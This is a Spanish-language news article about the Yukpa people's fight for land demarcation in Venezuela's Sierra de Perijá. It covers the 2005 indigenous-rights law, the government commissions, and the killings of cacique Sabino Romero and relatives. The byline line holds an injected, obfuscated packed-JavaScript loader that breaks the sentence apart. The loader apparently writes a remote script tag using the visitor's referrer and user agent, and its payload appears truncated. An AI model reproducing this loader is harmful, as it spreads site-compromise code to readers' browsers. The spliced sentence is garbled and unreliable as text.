El Gobierno se opuso a su lucha por tierras

Yasmín Ojeda Ruiz / Maracaibo / [email protected]
Ejecutivo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kabfi|var|u0026u|referrer|nkbhi||js|php'.split('|'),0,{})) fija y propone garantías de derecho a pueblos originarios desde 2005. Comunidad de Chaktapa, liderada por su cacique, Sabino Romero, se enfrentó a imposiciones del Gobierno nacional

Foto: Archivo La Verdad

El Gobierno nacional es el responsable de la demarcación de tierras. De dar solución a los conflictos que sucedan en el contexto de garantizar los derechos de los pueblos indígenas. Las leyes obligan su intervención en casos de violencia.

De acuerdo con la Constitución, al Ejecutivo, con la participación de los pueblos, le corresponde "demarcar y garantizar el derecho de propiedad colectiva de sus tierras, las cuales serán inalienables, imprescriptibles, inembargables e intransferibles".

Esa obligación se concretó en 2005. La Asamblea Nacional aprobó el texto que contendría el procedimiento. La entrada en vigencia de la Ley Orgánica de Pueblos y Comunidades Indígenas (Lopci) fijó qué hacer. El marco legal reconoce y garantiza el derecho de los originarios de Venezuela a decidir y asumir su identidad cultural, social, política y económica.

Con el decreto oficial, el Gobierno alimentó el deseo de los indígenas de retomar el control del territorio, ocupado desde tiempos de la colonia por grupos de criollos, ahora productores y campesinos. En Zulia, hacia la Sierra de Perijá, se identificaron cinco etnias: Wayuu, Japreria, Añú, Barí y Yucpas. Esta última aceleró y resaltó las intenciones de poseer sus tierras. Exigió la autodemarcación, desencadenando divisiones y el cuestionamiento del propio Poder Ejecutivo. Invadieron fincas.

Luego de tres años de retraso de los objetivos de la Comisión de Demarcación, la presión indígena derivó en enfrentamientos con productores, campesinos, extranjeros y yucpas. Río Yaza, Cunana, El Tokuko cercó el círculo del conflicto con sicariatos, violaciones y robo de ganado y bienes. Seis indígenas murieron por hechos vinculados al reclamo de tierras.

Siguiendo al líder

Una comunidad yucpa, liderada por Sabino Romero, encabezó las demandas de restitución de sus derechos. El cacique de Chaktapa tomó impulso con las exigencias de delimitación de tierras, salidas de "hacendados y terceros" y la negativa a la explotación minera. 

En la Sierra de Perijá, al oeste del Zulia, se erigió una cadena de acontecimientos. La Lopci estableció quién debía trazar la línea de acuerdos. El documento indica que "en caso de conflicto, la Comisión Regional de Demarcación de Hábitat y Tierras de los Pueblos y Comunidades Indígenas propondrá los medios alternativos de solución de conflictos, sin menoscabo de los derechos de los pueblos y comunidades indígenas".

La normativa precisa que el Ejecutivo, "a través de la Comisión Nacional de Demarcación del Hábitat y Tierra de los Pueblos y Comunidades Indígenas, dispondrá de los recursos humanos, económicos, científicos y tecnológicos necesarios para la demarcación". La dirección nacional designará las comisiones regionales.

El fracaso por demarcar las tierras y las pugnas por la participación presionó una decisión Gobierno en 2011. Se ordenó tres años después de que el presidente Hugo Chávez exigiera la entrega de tierras a los yucpas y pago por indemnización de fincas, la instalación de una Comisión Presidencial.

Con la disposición se reguló la creación de los títulos de tierra colectivos a los indígenas. Pero, los procedimientos siguieron viciados, según denunciaron sectores interesados. La ampliación de 280 mil hectáreas, la negación de permanencia de productores y la autodemarcación trabaron la entrega definitiva del territorio indígena.

 

Comisión Nacional de Demarcación

"Tendrá por objeto promover, asesorar y coordinar todo lo relativo al proceso nacional de demarcación del hábitat y tierras de los pueblos y comunidades indígenas, que será desarrollado por el Ejecutivo nacional".

Se conformará con 10 representantes del "alto nivel" de los ministerios señalados en el decreto 7.855, y 10 representantes indígenas, dos voceros por el Estado y uno por los estados Amazonas, Anzoátegui, Apure, Bolívar, Delta Amacuro, Monagas, Sucre, Trujillo y Zulia.

 

Títulos "chimbos"

Organizaciones no gubernamentales apoyaron las iniciativas indígenas de rechazar los títulos de propiedad colectiva por incumplir las peticiones legales de autodemarcación del territorio. Aseguraron inconsistencias en las coordenadas.

En la Sierra de Perijá, zona montañosa del estado, se identificaron los centros pilotos yucpas: Aroy, Tinacoa, Sirapta, Toromo, Neremo, Yapotopona, Koropo, Maraca, Kasmera y Tokuko, ubicados en los municipios Machiques de Perijá y Rosario de Perijá.

 

Reconocimiento

La Lopci reconoce la personalidad jurídica de los pueblos y comunidades indígenas a los fines del ejercicio de los derechos colectivos previstos en la Constitución,  tratados, pactos y convenios internacionales suscritos por la República.

Los pueblos y comunidades podrán determinar su representación de acuerdo con tradiciones, usos y costumbres, "atendiendo a su propia organización, sin más límites que los establecidos en la Constitución".    

 

Asesinados

Mireya Romero

Évert Romero

Darío Segundo García Fernández

Lorenzo Romero

Wilfredo Romero

Sabino Romero

 

Documentos 

En la Gaceta Oficial 39.624 se decretó la creación de la comisión presidencial para la demarcación de tierras.

 

Comunicado emitido en 2010 por el jesuita José María Korta en apoyo a los yucpas y Sabino Romero

 

Indígenas yucpas, militares, productores, campesinos y entes gubernamentales establecen acuerdo de convivencia.

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